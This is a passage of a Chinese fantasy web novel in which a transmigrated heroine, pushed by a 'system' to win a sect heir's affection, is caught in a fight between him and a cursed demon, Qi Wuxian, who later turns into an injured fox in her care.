为什么……他不是信誓旦旦地说过,这妖孽对阿禾用情已深,不会伤害她的吗?为什么还会对她下这等恶毒的咒? 扁平脸显然也没料到他会下得去手,禁不住暗自怀疑起来——难不成当真是自己看错?不过这样看来反倒更合情合理了,族人一个一个死在面前时,他连眼泪都不曾掉过一滴,如此冷血之人,又怎么可能会对一个连灵丹都没有的丫头动心。 卓子墨未料到他竟会使此等阴招,咬牙切齿地道∶“世人都恨不能将你碎尸万段,只有阿禾愿意靠近你。她待你这般好,祁无恙,你怎么忍心害她的?” “谁说我要害她了?” 祁无恙脸色微微一变,转眸看向身旁轻轻颤栗的少女,嗤笑道∶“怎么,你也害怕我?” 她脸色有些苍白,抬头回看向他,而后摇了摇头∶“我不是害怕,只是觉得你很可怜。” 她当然怕死,但是理智告诉她,如果在这个时候承认自己害怕,才是真的死定了。 卓子墨闻言脸上申请一滞,随后更加焦急起来∶“阿禾,他根本不值得你同情!你快到我身后来,我就不信区区一个咒术还解不了了!” “小少主,现在可不是说这些的时候,”扁平脸略带不耐烦地皱起眉来,笑道∶“你难道还愿意相信这狡猾妖孽的话吗?我只想拿到灵脉,而你既想为你的好兄弟姐妹报仇,又想夺回未婚妻,只要杀了他,这些都能实现,你还在犹豫什么?” 这些话如同当头一锤,令他瞬间清醒。卓子墨眼中犹豫尽褪,重新被凌厉的杀意覆盖,长剑一振,厉声道∶“不错,就算是真的,我大可以活捉了你,再慢慢替阿禾解咒不迟。” 这家伙到底要干什么?当兔子的时候也不是没见过祁无恙以一敌百的场面,这会就叫了这么几个人,是想找死吗? 徐颂禾又急又气,她哪一方都不想帮,只求攻略对象不要作死,不然她可就回不了家了。 这个念头刚一闪过,耳边蓦地刮过一阵劲风,少年侧身抬手,随即“砰”的一声,一团金色粉末从眼前散开。 他收回手,冷冷看向方才偷袭未成,此刻手执剑刃将他团团包围起来的众人。 扁平脸眼尖地瞥见他指尖滴落的血,心中一阵狂喜,得意的说∶“他受伤了,快快布阵,给我困住他!” 话音未落,数名弟子齐齐应声,脚下步伐变幻,手中长剑交错,瞬间便结成一个光华流转的剑阵,剑气相连,如同一个巨大的光牢,将他们二人牢牢束缚其中。 凭空生出的压迫感令人有些喘不过气,徐颂禾捂住胸口,手心那朵印记隐约亮了亮,那感觉便稍稍缓解了些。 卓子墨睁圆眼,几乎是在同时,他快步上前一把扼住扁平脸的脖颈,眼神里充满愤怒和震惊∶“你为何不事先与我商量?阿禾还在里面,你想让她也一起死吗?” “咳咳t……小少主息怒,”扁平脸被掐得呼吸困难,嘶哑着声道∶“此阵法只能吸食人灵力,却不会直接致死,这丫头没有灵丹,对她的威胁就更小了。让她进去与我们里应外合,这妖孽今日定跑不了。” “你……” 卓子墨气得手指直发抖,但阵法一旦开启便无法半途终止,他松开手,望了望里面的少女,咬着牙道∶“动手。” “慢着,住手!” 徐颂禾完全没想到他们是有备而来,用的还是偷袭这么不光彩的手段,于是用力拍了拍那金色的光圈,道∶“你们不能这样,他没有伤害我,也没有主动得罪过你们,为什么要赶尽杀绝?” 头一回脱离了攻略任务,直视内心的情感,她觉得她一点也不想要祁无恙死,明明从头到尾他什么也没做,是那些人偏要上门来杀他在先,总不能哪方死的人多哪一方就无辜吧? “请宿主注意言辞,”然而,话音方落,系统冰冷的声音便开始提醒她∶“你的每一句话都会影响卓子墨的好感度。” 剑气透过法阵穿进来,数道白花花的光芒对准了少年,他无声地扯了下唇角,几乎是在瞬息之间,那几道凌厉的剑气在逼近他身前半尺时,竟一齐如同空气般被化开了。 执剑的几名弟子招架不住,纷纷被撞开数尺远,如此一来,法阵遭到破坏,那光芒也薄弱了几分。 “你们筹备了几日,带给我的只有这些?”祁无恙垂眸看了看掌心,灵力仍在源源不断地流失,只是要对付他们,还绰绰有余。 徐颂禾屏住呼吸,诧异地抬起目光,恰好碰上他投来的像是炫耀般的视线。 好吧,忘了他就算是反派那也是最大的反派这码事了,哪里用得着她来操这个心?徐颂禾不由得一阵后悔,早知道刚才就不说那些话了,一时冲动,又差点降了好感度。 “不错,有几分本事,不过还没结束。” 扁平脸嘿嘿一笑,突然间五指一抬,按在身前的卓子墨肩头,狠狠一推。 卓子墨全然未料到他回答使这等阴招,待要拔剑回招,已是来不及,接连踉跄几步后,竟发觉自己也进到了阵法之中。 众弟子见状皆大惊失色∶“大少主!你这狡猾的家伙,快把我们大少主放出来!” “你们大少主精通剑术,让他进去与祁无恙周旋,难道不好吗?”扁平脸无动于衷,冷冷道∶“你们谁敢破坏阵法,我即刻便让他们一起死在里面。” 他扫了阵法中的三人一眼,忽地纵身飞去,弟子们受了威胁,一时间谁也不敢擅自离开,只能眼睁睁看着他离开,只留下一长串笑声∶“好好享受吧!不论谁死,我都会来替你们收尸的。” 系统警告:“卓子墨好感度减五,当前好感度七十。” 徐颂禾还没来得及从刚才的冲动中懊悔完,就被眼前这突如其来的变故惊呆了。 他们不是一伙的吗?扁平脸为什么把他也推进来了? 卓子墨同样脸色铁青,站稳身形后,立时便质检朝少年猛刺过去,扭头朝阵外吼道∶“愣着做什么?继续啊!” 弟子们面面相觑,片刻后,还是依言像方才那般驱动了阵法。 祁无恙从容不迫地躲开双面袭来的攻击,三招过后,从袖中飞出一小节带刺的藤蔓,迅疾无比地缠上了卓子墨再次刺来的长剑。 卓子墨大惊,想要抽回长剑,却发现剑身如同被铁钳焊住,纹丝不动。 少年略一收手,那剑刃便随之发出一声细微的摩擦声。他轻轻一笑,眼中满含戏谑∶“卓少主,是要这把剑,还是要你的未婚妻?” 第62章 “你是在求我放过他吗”…… “宿主别愣着了, 快把地上的剑拿起来。” 徐颂禾抱着脑袋颤巍巍缩在角落里,暗暗祈求不要被误伤到,乍一听见这话, 疑惑地露出一双眼睛∶“拿剑干什么?” 系统着急了∶“好感度已经降到七十了, 现在卓子墨又处于下风, 这不正是好时机吗?宿主趁祁无恙不设防备,用剑刺伤他,这样卓子墨就会看清他在你心中的地位, 好感度准能提升不少, 说不定立马就能回家了。” 心脏蓦地砰砰直跳, 徐颂禾猛然抬起头来,怀疑自己听错了。 她愤愤道∶“你说什么啊?我怎么可能干这种事?” 系统反问她∶“难道宿主不想快点回家了吗?” “回家?” 这个词一出, 徐颂禾稍作停顿,随后坚决地摇头∶“那也不能趁人之危!我是想回家, 可不能以伤害别人达成目的。” 她说罢,担心这破系统又催促自己, 干脆起身小心翼翼地挪向那把剑,随即飞快地拾起它掷了出去∶“快走吧你!” 只见那冒着寒光的剑刃径直冲出光圈, “当”的一声摔在了地上。 阵外的弟子脸色骤变, 忽然间齐刷刷被震飞数尺远,一个个倒在地上呻.吟着。 徐颂禾一惊,低头看看自己的手——她有这么厉害吗?随手一扔就把他们都给打趴下啦? “阿禾, 快走……” 身后传来一声微弱的呼唤, 她回过头, 便见卓子墨被一只手狠狠扼住脖颈,脸色泛白,视线吃力地转过来盯着她。 “小白!” 徐颂禾立刻奔过去, 下意识地伸出手想把他救出来∶“你快松手呀,再这么掐着,他会晕过去的!” 少年淡淡瞥了她一眼,丝毫不为所动。 弟子们这时也相继爬起身来,举着剑摇摇晃晃地冲向他∶“妖孽,快放开我们少主!” 祁无恙看也不看他们一眼,只随意一挥衣袖,一道身影便径直飞向人群,硬生生压倒了冲在最前面的数名弟子。 卓子墨一手撑地,狼狈地擦去嘴角淌出的血,抬眼看了看满脸焦急地跑过来扶他的少女。 “你、你没事吧?怎么还流血了?”徐颂禾把他搀扶起来,心惊胆战地看向杀气腾腾的少年。 或许是笃定了对方不会伤害自己,她鼓起勇气,在他阴测测的目光下说道∶“你对小白做了什么?他为什么会突然吐血?” “你在质问我?”他摊开手,旋即散漫地笑了声∶“是他自己冲上来的,我不过是还手罢了。” 卓子墨抬手按住她,气若游丝地道∶“阿禾,不必同他多费口舌,我们走。” 徐颂禾被他拉了一下,不禁有些担心∶“你这样子还能走吗?” “他能不能走,是我说了算。” 她猛地抬头,只见祁无恙嘴角噙着笑,手中不慌不忙地玩弄着一颗石子。 他停下动作,将石子对准满脸惊恐的弟子们,笑道∶“不妨猜猜,等他们全都趴下,需要几颗石头?猜对了就放你们离开。” 卓子墨脸色瞬间煞白,他夺过一旁弟子的剑握在手里,怒道∶“这是你我之间的恩怨,与他们何干?连一群无辜之人都不放过,你的良心何在!” 祁无恙淡淡道∶“你我之间的恩怨?你配么?” “你……”卓子墨被噎了这么一句,气得浑身发抖,道∶“你在大婚之夜劫走我的未婚妻,这笔债还没算过!” 少年轻嗤一声,从容地朝前逼近,众弟子手握长剑,却无一人敢擅自动手。 “这么说来,你是想和我算账?”他目光似有若无地从少女身上掠过,随后略略俯身,居高临下地睥睨着对方,“好啊,那我们就来好好算算。” 不知为何,他这一靠近,卓子墨便觉一阵威压袭来,迫使自己不得不半跪下来,满目羞愤地仰头直视他。 “你最尊敬的父亲难道没有告诉过你,他所一直引以为傲的门派是如何成立的么?”祁无恙看着他恨不能杀了自己,此刻却又无能为力的眼神,微微一笑∶“当年我被众门派围剿时,他还只是众多无名中的一员。只可惜他临阵脱逃了,否则,如今这世上应当少一个流云宗,多一具尸首。” 卓子墨瞳孔一震,几乎是吼出声来∶“住口!今日我落到你手里,要杀便杀,休得辱我父亲!” 这一动怒,嘴里忽地又涌出血来,徐颂禾赶忙替他拍了拍背∶“你别再说了,有什么话,等活着回去再好好问清楚。” 这人怎么都这样了还不知道服软呢?她都害怕他再多说两句激怒的话,祁无恙真的会动手杀了他。 少年将两人的动作收尽眼底,眸色几不可察地暗了暗,旋即被一抹笑意掩盖∶“你觉得他还能有t命问清楚吗?” 徐颂禾站起身,张开手挡在卓子墨面前∶“你杀他,是为了报仇吗?可是你有没有想过,如果他死了,卓不凡一定不会放过你的。” “真有意思,你是在求我放过他吗?” 祁无恙微微垂眸,她眼中的乞求在他看来是那么的微不足道。他勾起唇,眼底满是嘲弄∶“你不是最怕死吗?我倒要看看,你是不是真的愿意为他去死。” 徐颂禾心跳陡然加快,她望着他抬起的手,意识到对方可能真的要杀了自己,本能地就想说些软话求饶。 可喉咙却像是被什么东西给堵住了。 “检测到攻略对象有危险,请宿主保护好他,否则将失去回家的机会。” 她感到这具身体似乎已经不是自己的了,索性紧紧闭上眼,要杀要剐,随他吧。 反正攻略对象死了就回不了家,如果永远都不能回家,那还不如死了。 但预想中的剧痛并未袭来。 那凌厉的劲风在触及她眉心前一寸骤然停下,她睫毛颤了颤,眼睛迟疑地睁开一条缝。 对上的,是少年近在咫尺的指尖。 卓子墨已经伸手将她护到身后,道∶“阿禾,我死了之后,你回到流云宗找子寻,告诉他我是为护你而死,他们不会忍心赶你走的。” 一语未完,他脸色倏地一白,身子一晃,向面前栽倒下去。 “哎……” 徐颂禾伸手想把他扶住,一股冰冷的温度却毫无征兆地卷来,禁锢住了她的双手。 她迟疑地抬起脸,径直撞上少年那双淬着寒意的眼眸。 周围其余弟子已躺倒在地,生死未卜。她的目光稍一移动,便又被狠狠拽了回来。 “他们都死了,”他微微笑着,好整以暇地端详着少女因恐惧而轻轻颤抖的身体,“你要照他说的做吗?” 徐颂禾艰难地眨了下眼,明白自己没有资格劝他放过这些人,毕竟一开始就是他们先想要他的命的。 “你……” 话尚未出口,她身子忽然软绵绵的向前一倾,那只手安抚似地按在她微微颤抖的后背上,意识模糊之际,一道轻飘飘的声音擦着耳畔落下。 “你知道的,我不会伤你。至于他死不死,就要看你的表现了。” * “报——” 一人不顾门外弟子的阻拦,跌跌撞撞地奔进殿中,又被高高隆起的门槛绊了一下,重重摔倒在地。 卓不凡抬手制止住周围人的动作,待他艰难地爬起来后,才沉声问道∶“冒冒失失的成何体统?有什么事慢慢说来。” 认出他是昨日跟随卓子墨一同前去捉拿妖孽的弟子,卓不凡眉头一皱,道∶“怎么就你自己?子墨和其他人呢?” 那弟子衣衫褴褛,一看便知是为邪气所伤。他双膝跪地,低垂着头,颤颤巍巍地道∶“回宗主,原本大局已定,那妖孽眼看就要伏诛,可……可没想到那家伙不守信用,竟背叛了我们。大少主一时不设防备,也着了他的道……” 他说完便伏在地上,不敢抬头看对方的反应。 “宗主!” 卓不凡脸上最后一丝血色也褪尽了,失神地朝后退去,一弟子眼疾手快地上前将他扶稳,才不至狼狈地跌下去。 “你……你说什么?”他面色惨白,每一个字都像是从喉咙里硬生生撕扯出来的,“子墨他现下身在何处?” “弟子……弟子不知,”那人声音已经带上了哭腔,道∶“弟子是被镇民救醒的,打听后才知道,其余师兄弟都已惨遭那妖孽的毒手,大少主……大少主也不知被带去了何处。” “什么?!” 卓不凡身形猛地一晃,但碍于殿内还有几十双眼睛看着,他不得不压下一口气,勉强不让自己太过失态。 数百年来无人能近那妖孽的身,昨日儿子却信誓旦旦地告诉他,这回定能将其捉回。只恨自己沉不住气,还不待人凯旋便已将消息四处散播,现下各个门派的掌门人来访,大抵也都出于看不下去他的嚣张狂妄,等着看流云宗笑话来了。 他强撑着站稳,挥袖示意旁人将那弟子扶起,旋即转身扫向众神色各异的来宾,道∶“逆子不争气,让诸位见笑了。只是事发突然,不凡恐无法相陪,待寻回逆子,还望各位能再赏脸,到流云宗来与我一聚。” 座下众人面面相觑,脸上神色精彩纷呈。其中一人率先站起身,拱了拱手,客套似的说道∶“既如此,我等便先行告辞。卓兄也不必太过忧虑,若有需要,大可开口,力所能及之处,我自不会推辞。” 他开了这么个头,其余人也不能不有所表示,纷纷扔下“愿效绵力”之类的漂亮话,便鱼贯而出。 “既然各门派都愿意为除妖孽出力,不妨就今日吧。” 方才奄奄一息的弟子不知何时恢复了力气,只这一句,便令即将夺门而出的众人脚步齐齐一顿,猛地转过身来。 “我们宗主待人和善,先前重建门派时也没少为诸位操心,”那弟子在旁人的搀扶下,一摇一晃地走下阶来,在众人惊愕的眼神下,气若游丝道∶“眼下我们大少主有难,各位掌门难道真的忍心袖手旁观吗?” 这一席话便将众人架了起来,他们若要拒绝,便成了忘恩负义之徒了。 卓不凡暗自窃喜,嘴上却呵斥道∶“放肆!这里有你说话的份吗?把他给我带下去!” 扶着他的弟子闻言忙道∶“是!周玄师兄,咱们还是快走吧。” 周玄甩开他的手,长久地凝视着卓不凡,而后躬身行了一礼∶“单凭我们一己之力,恐怕去了也是白白送死,但加上他们就不一样了。大少主自幼对我照顾有加,弟子也只是想为他尽一份力,还请宗主三思。” 众掌门脸色极其难看,见状却也推辞不得,只好强硬笑了两声,道∶“卓兄不必客气,既如此,我们即刻便出发,寻回卓大少主。” 卓不凡闻言大喜,又听那周玄执着于带路,便也一并答应下来。虽还有几个因怕死而退出的门派,但加上他们,声势也已足够浩大,对付一个灵力尚未恢复完全的妖物,已是绰绰有余。 第63章 为什么喜欢他 水滴沿着潮湿的墙壁缓缓渗下, 卓子墨阖着眼,脑袋靠在墙边,那冰凉的液体便顺势慢慢爬上了他的脸。 周围一片死寂, 只有水珠砸在地上的滴答声。 蓦地, 一道不轻不重的“吱呀”声钻入耳中, 随着屋门被人推开,一缕阳光也迟缓地飘了进来。 他手指动了动,微微掀开眼皮, 看见一道颀长的红衣身影正迎着刺眼的光朝自己走来。 卓子墨挣扎了几下, 却发觉双脚被锁链牢牢禁锢着, 动弹不得。 他哪里受过这等羞辱?莫大的愤怒直窜脑门,他不经思考便抓起身旁的木板, 狠狠扔了出去。 “你杀了他们?”一日未进食水,他的嗓音已然嘶哑, “你把阿禾怎么样了?” 少年不慌不忙地侧身避开飞来的木板,隔着老远, 将一碗粥放在地上推了过去,“托她的福, 你暂时死不了。” 说是粥, 其实不过是一碗满满的水里掺杂了少量米粒。 “我问你阿禾怎么样了!”锁链霎时哗啦作响,那碗粥也在他的挣扎下被一脚踢翻。 祁无恙轻轻“啧”了一声,不疾不徐地在他面前蹲下, 抬手扼住他的下颌, 又将那张脸向左右小幅度转了转。 杀之前居然还要侮辱他一下, 卓子墨登时恼羞成怒∶“你做什么……” 一语未完,却听见一声轻轻的叹息。 “她曾几次夸过我的容貌,所以她现在喜欢你, 是因为觉得你长得好看么?” 少年略略偏头,指间倏地凭空生出一枚短针,锐利冰凉的针头令对方头皮一麻。 他低低笑了声,手指比划着,将那枚针从卓子墨脸上划过,却并不将其刺破,“倘若这张脸毁了,她还会喜欢你吗?” 针尖冰凉,贴着皮肤缓缓游走。卓子墨瞳孔骤扩,全身的肌肉瞬间绷紧,咬牙切齿道∶“你这个疯子,真以为我流云宗后继无人了吗?你要杀我就快些动手,否则,待我父亲寻到此处,你就只有死路一条!” 祁无恙收回手,百无聊赖地把玩着那枚针,顺带轻飘飘瞥了他一眼,“真无趣,居然能被一枚针吓成这样,看来她就只看中了你这副皮囊。” 说罢,他的目光又逐渐转为鄙夷。 就算只是贪图皮囊,难道卓子墨还比得过他? 念头如毒藤般悄然滋生,带着一丝连他自己都未察觉的t、近乎幼稚的攀比心。 祁无恙唇角勾起一抹恶劣的笑,冷冷看着他∶“粥只此一碗,你最好祈祷,在你的好父亲来之前不会被饿。” * 感受到身体正逐渐回温,徐颂禾把眼皮掀开一条小缝,旋即又重新闭上,懒懒地翻了个身,将脸埋进被褥里用力吸了一口暖烘烘的空气。 如果可以,她真想一直把自己隔绝在被窝里,并且能一睁眼就发现已经在家里了。 她坐起身来,有些茫然地望向周围,便在此时,系统带着急促的声音在脑海中响起∶“警告,检测到攻略对象面临致命危险,请宿主立刻行动。” 徐颂禾浑身一僵,睡意瞬间消散得无影无踪。 不如让她毁灭吧!想回个家怎么就那么难? 她快步走向门口,刚一走进,那门却无声地从外面打开了。 少年斜倚在门边看着她,声音淡淡∶“想去哪?” 徐颂禾抿了下唇,经过一番快速的思想斗争后,她奔过去在他面前站定,随后轻轻碰了碰他的手。 “你今天……有没有哪里受伤?”她小心翼翼地问道。 “那是昨天的事了,”祁无恙唇角勾出一抹玩味的笑∶“你睡了一天,知道么?” “……” 徐颂禾有些尴尬地缩回手,而后又拉住他,小声问∶“你能听我解释吗?” 解释? 他挑了下眉,似乎很感兴趣∶“你想解释什么?我认为只要那个人死了,你我之间就没有误会。” 徐颂禾拉住他衣袖的手紧了紧,正要开口,手指忽然摸到一股温热的触感。 她疑惑地垂下目光,一抹殷红跳入眼帘。 “你流血了?” 徐颂禾诧异地看向他,可是她记得他明明没有被那些人伤到呀。 他收回手的瞬间,一个念头忽然在她脑子里闪过∶“是那个诅咒又发作了吗?你还会变成狐狸吗?” 对方却误解了她这话的意思,冷冷笑道∶“就算会又如何?你难道还想趁机去找他吗?” “我不是那个意思,”她急忙摇头,脱口而出道∶“我就是担心你。” 他敛起笑意,淡淡道∶“担心我什么?” 她这几日不住地想跑,昨日甚至还不要命地护着那人,已经耗尽了他所有耐心。 口口声声说担心他,其实是担心他会伤害那个人罢了。 “你傻呀,你现在身体还没完全找回来,灵力也还没恢复,万一流云宗的人又找上门来该怎么办?” 她仰着脸,说得认认真真,眼底是真切的忧虑。 这一连串的话却叫他一时无所适从了,眼睫轻轻颤了下,没有回她的话。 徐颂禾见他背过了身,沉默不语,便又绕到他面前,盯着他困惑的眼睛,小声道∶“祁无恙,你生气啦?” 他眼珠动了动,垂眸看了她一眼,随后径直走到榻边的椅子上坐下,经过时还有意无意地轻轻撞了她一下。 “哎,你不要生气嘛,”徐颂禾叹口气,无奈地看着他,“昨天小白不分青红皂白带人来找你的麻烦,的确是他的不对,可当时情况紧急,我也不想让他死,所以才……” “我没有生气,”少年抬眸,漆黑的眼瞳直勾勾盯着她。他脸上依旧平静无波,手中茶盏却近乎被捏碎,“你说过,我对你算不上喜欢,是吗?” 没想到他会突然问这个,徐颂禾愣了一下,不知道该作何回答。 “我不懂这些,你说不喜欢,那就不喜欢吧。可我又为什么会这样?”他松开了捏着茶盏的手,指尖因用力而变得有些发白,“就算是这样,我也想知道,你为什么会突然喜欢上他?明明你不止一次说过喜欢我,难道可以同时喜欢两个人吗?” “……” 她都快要被问懵过去了。 这要她怎么回答?说一切都是为了完成系统给的任务?但这也太扯了,他怎么可能相信? 良久,她还是决定赌一把,于是小心翼翼地开口∶“如果我说,我其实对他不是喜欢,只是为了回家,不得不这样,你会信吗?” 屋内安静得可怕,只有她因为紧张而略微急促的呼吸声。 果不其然,他短暂地蹙了下眉,随后嗤笑出声∶“倒也不必想方设法编造理由骗我,你喜不喜欢他,都和我没有关系。” 他说罢,愠怒地一拂衣袖,旋即将门“砰”一声重重关上。 “……不是你非要问的吗?”徐颂禾望着他的背影,小声嘟哝了句。 下一瞬,她忽然感到手心像被电击似的一麻,紧接着脑壳便像是快裂开了一般。疼得她不得不扶着额头坐到床上,用枕头用力捂住了自己的脑袋。 这是怎么回事?她明明没有离他很远啊,为什么也会疼? 系统冷冰冰的声音响起∶“警告,请宿主不要将有关系统以及攻略任务的话透露出去,否则将接受惩罚。” “你怎么不早说?” 那疼痛过了不知多久才渐渐退去,徐颂禾瘫在床上,浑身都像被抽干了力气,只剩下一句没有任何杀伤力的吐槽。 “另外,由于宿主态度消极,好感度目前已降到七十。” 她一听,顿时急了∶“别呀,我怎么消极啦?” 系统安慰她∶“宿主别担心,现在有一个办法,可以帮助宿主快速回家。” 有这种快捷通道怎么不早点告诉她?徐颂禾安静下来,期待地等着它继续说下去。 “宿主只需要为卓子墨死一次,他对你的好感度就会立刻上升到一百。” 听完这句话,徐颂禾觉得自己的呼吸都停了一瞬。 为他而……死? 半晌,她听见自己的声音充满怀疑∶“可你不是说,如果在这个世界死了,就是真的死了吗?” 系统解释道∶“现在好感度已经七十了,只要宿主抓住时机,就能一下弥补完剩下的三十,任务完成即可返回。” “我不太信你,要是我没能回家怎么办?” “要是宿主死后不能回家,系统可当场自爆。” “……” 这家伙能发这么毒的誓,看来应该是真的了。 徐颂禾躺在床上,盯着头顶摇摇晃晃的帐幔。 过了一会儿,她又摇摇头,自语道∶“不行不行,我根本找不到合适的为他死的理由。而且,死得多疼啊!” 她还是再熬一熬,慢慢等好感度满值吧。总之只要攻略对象还在,她就一直有机会。 想清楚后,心里立刻轻松多了,反正现在也出不去,她索性坐到桌边,翻出纸笔开始写信。 上一次因为误会,临走前一句话也没给祁无恙留下,这次提前给他准备一封信吧,起码能让他知道,这世上不是没有人在意他。 笔尖蘸墨,落在粗糙的纸面上,却迟迟未能写下第一个字。 该写什么呢? 她咬着笔杆想了好一会儿,总不能写“我要回家了,再也不见”吧? 提笔半晌,手都举酸了,纸上却只落了几个墨点。 她叹口气,索性将笔搁下,托着腮望向窗外沉沉的夜色。屋里的蜡烛被风吹灭了,只有清冷的月光透过窗棂,在地面铺开一片朦胧的银霜。 真令人发愁…… 如果他愿意,如果可以把他一起带回去就好了…… 思绪飘得很远,自从那点朦胧的情愫萌生后,这个念头就已经不是第一次出现了,尽管中途被打消过一次。 可每次都像现在这样,只是想想罢了。他们是两个世界的人,中间横亘着无法逾越的天堑。 不知过了多久,意识渐渐回笼,徐颂禾茫然地睁开眼,惊讶地发现自己竟睡在了床上。 她刚才……睡着了? 大脑加载了几秒钟后,她瞥见窗台边被吹得摇摇欲坠的信纸,赶紧掀开盖在身上的被子便要下床,却忽地听见一声压抑的低吟。 她微微一怔,犹疑地转过头,一只蜷缩在床榻角落的狐狸就这般出现在了视线里。 似乎是被她方才扯被子的动作打扰到了,它动了动脑袋,随后又耷拉下去,嘴里时不时发出呜呜咽咽的声音,细看那爪子上还有血。 徐颂禾目光凝滞了一瞬,她没有过多犹豫,倾身上前小心翼翼地将狐狸抱起来,查看它的状态。 是那个可恶的诅咒! 上回明明只是变成狐狸,现在怎么还流血了?难道又加重了吗? 那团红色的茸毛在她怀里不安地扭动了几下,似是想要挣脱,却又虚弱得使不上力气,最终“乖巧”地趴在她手边,一动也不动了。 第64章 挡剑 “……祁无恙?” 徐颂禾伸手在它身上揉了一下, 拿开一看,手心里也沾上了血。 “系、系统,他不会死吧?”她感到眼睛被那刺目的红狠狠扎了一下, 声音都有些发抖∶“你有没有办法救救他?” “宿主放心, 他不会死, ”系统的声音第一次听上去有些无奈∶“至于为什么会这么严重……大概是他记错了诅咒发作的时间,忘记换身体了吧!” 徐颂禾不大相信,这么重要的事他怎么可能忘记?但一听他不会死, 她便也暂时不那么紧张了。 她取来一块沾了温水的手帕, 小心地替他擦去毛发上的血。 温热的湿意似乎带来了一些抚慰, 小狐狸紧皱的眉头稍稍舒展了些,温顺地闭着两只眼睛, 任她的手在身上随意抚摸。 “祁无恙,你可不能有事呀, ”她还是有些不放心,撸了下它的毛, “睡着了要记得醒,听见没有?” 狐狸当然不会回答她的话, 它懒懒地趴着, 看样子还蛮惬意。 系统开始提醒她∶“宿主,趁祁无恙现在灵力不足,支撑不起外面的护罩, 咱们快跑吧!快点找到攻略对象要紧。” 是了, 等他一恢复, 自己恐怕就再难有机会离开了。 可是…… 徐颂禾低头看着压住自己手臂的狐狸,眼里满是迟疑。 她走了的话,他要怎么办呢? “宿主别再犹豫啦, 难道你不想回家了吗?” 再三思索后,徐颂禾向它讨要了一条纱布和能止血的药水,娴熟地给它包扎起来。 它还保持着原来的姿势,似乎已经睡着了。确认身上不再流血后,徐颂禾动作轻柔地挪开一只手,生怕惊醒它。 本以为成功了,可她刚一转身,衣角便忽地被用力拽了下。回头一看,只见那只狐狸竟不知何时清醒了过来,死死咬着她的衣角不放。 她伸手拉了一下∶“哎,你快松口,别给我弄坏了。” 它听话地松了口,退后一步,可怜兮兮地看着她,一双眼睛犹如明镜,她可以轻而易举地从中看清自己的模样。 狐狸明显有些躁动,在床上来回踱了好几圈,连被褥里的毛都被被抓破了不少。再一看方才包扎好的地方,纱布已经被抓挠得松散,隐隐又有血迹渗出。 “好了好了,刚刚不是都睡着了嘛?怎么又起来啦?” 系统说灵体只能保留原身的小部分记忆,效果微乎其微,所以它现在的状态,和一只动物没什么区别。 徐颂禾半跪在床榻上,伸手把它薅进臂弯里,揉了揉它松软的毛。 说来也奇怪,这狐狸一到她的怀里便不再乱动了,只安安静静地趴着,将脑袋搁在她臂弯的凹陷处,耳朵软软地耷拉下来,仿佛找到了最安全的港湾。 少女指尖从它的绒毛间穿过,狐狸身上的温度传到掌心,衬得她浑身似乎也热乎乎的。 系统还在催促她快点做出选择,可她低头看看温顺下来的狐狸,暗暗叹了口气∶“你看它现在这样,我怎么走得了?” 系统沉默片刻∶“宿主,这是你离开的最佳时机。攻略对象卓子墨还在等着你救赎,你的主要任务目标是他。祁无恙对你而言不过是书中无关紧要的人物,自有其命数和机缘,宿主无需过度介入。” 徐颂禾微微怔愣,脱口而出道∶“难道它现在就算是死了,也是命数吗?” 一个人的生死怎么能用区区“机缘”二字定夺?要知道她从前可是连路边受伤的小猫小狗都不可能视而不见的,对他……就更做不到不心软了。 “咕噜噜——” 徐颂禾抽出一只手,颇为不好意思地按住自己的腹部。她之前昏睡了一天,现在才意识到有些饿了。 窝在怀里的狐狸似乎也被这声音惊动,耳朵动了动,微微掀开眼皮,湿漉漉的眼睛看了她一眼,又懒懒地合上。 “你也饿啦?”徐颂禾在它脑袋上摸了一下,说道∶“那你等我一会儿,我去找吃的。” 她小心翼翼地想把小狐狸放回床上,可刚一有松手的迹象,那毛茸茸的爪子就立刻伸出来勾住了她的衣袖。 “……那,带你一起去?” 她想了想,觉得也是,这里毕竟是他的地盘,没有人带路,她也不知道该去哪。 担心半夜吹风会让伤势加重,徐颂禾从角落里捡来些稻草盖在它身上,可没一会儿便被它尽数抖落了下去。 “别闹啦。”徐颂禾有些无奈,见它实在不肯碰那些稻草,她思忖片刻后,只好脱下自己的薄外衫披在了它身上。 这回狐狸不挣扎了,它似乎对这柔软的“新窝”颇为满意,脑袋在她臂弯里蹭了蹭。 夜间的风裹挟着阵阵凉意,少女把怀里的一团搂紧了些,刚一拉开屋门,便险些迎面撞上一道蓝色的屏障。 “……忘了还有这个了。” 罪魁祸首现在就这么理所当然地趴在她怀中,但又不好和一只狐狸算账,徐颂禾最终伸手在他耳朵上轻轻掐了一下,作为对他先前不由分说就把自己关起来的“报复”。 “看看你干的好事吧,现在要怎么出去?” 狐狸听不懂她的话,只抬起一双眼睛,似乎不明白她为什么掐它,甚至还歪着脑袋讨好地蹭了蹭她的手心。 徐颂禾被磨得没了脾气,想到系统方才说他现在灵力不足,便尝试着伸手用力拍了几下,可那结界仍是纹丝不动。 汗珠开始从额上渗出来,她停下来擦了下手,却有一抹微弱的光亮从眼底闪过。 是那个诅咒的印记。 系统这时的提醒恰到好处∶“宿主或许可以再试一试,它们都是以祁无恙的灵力化成的,应该能够相冲。” 徐颂禾短暂地犹豫了一下,随后依着系统的话,拿起桌上的短刀便要向手掌刺去。 “哎——” 刀尖即将触碰到手心时,那狐狸蓦地跳起来,毫无征兆地在她手腕处咬了一下,旋即轻巧地叼走了那把刀。 徐颂禾蹙了下眉,撩开衣袖,只见肌肤上有一道浅浅的牙印,却并未见血。 “你干嘛呀?快把刀还给我,这是我们能出去的唯一办法了。”她急得追向它,可对方动作灵敏,让她根本没有机会碰到。 它跃到窗台上,嘴里咬着那柄短刀,丝毫没有要还给她的意思。 徐颂禾只好服了软,好声好气地说∶“好吧好吧,我不伤害自己了,你快还给我吧。” 狐狸歪着头,赤红的眼眸盯了她片刻,似是在辨认这句话的真伪。半晌,它纵身跳到高处,将刀放在了她够不到的地方,随后才悠哉悠哉地踱回来。 徐颂禾又好气又好笑,别无他法之下,她抬起手,往墙壁突出的木刺的上狠狠一压,掌心立刻被划开一道口子,鲜血源源不断地涌出。 这一下太过突然,狐狸呆在原地不动了,只有两只眼睛死死看过来。 她顾不上别的,也不知道这东西要怎么用,只好胡乱把手按在结界上,鲜血糊了满屏。 尖锐的刺痛这时才后知后觉地袭来,但下一瞬,掌心立刻被一股温热围拢,那狐狸突然又跃了上来,眼巴巴地看着她,毛茸茸的尾巴松松地拢在她的手上,将血迹一点一点擦去了。 徐颂禾心里一软,小声道∶“没事啦,我不疼。” 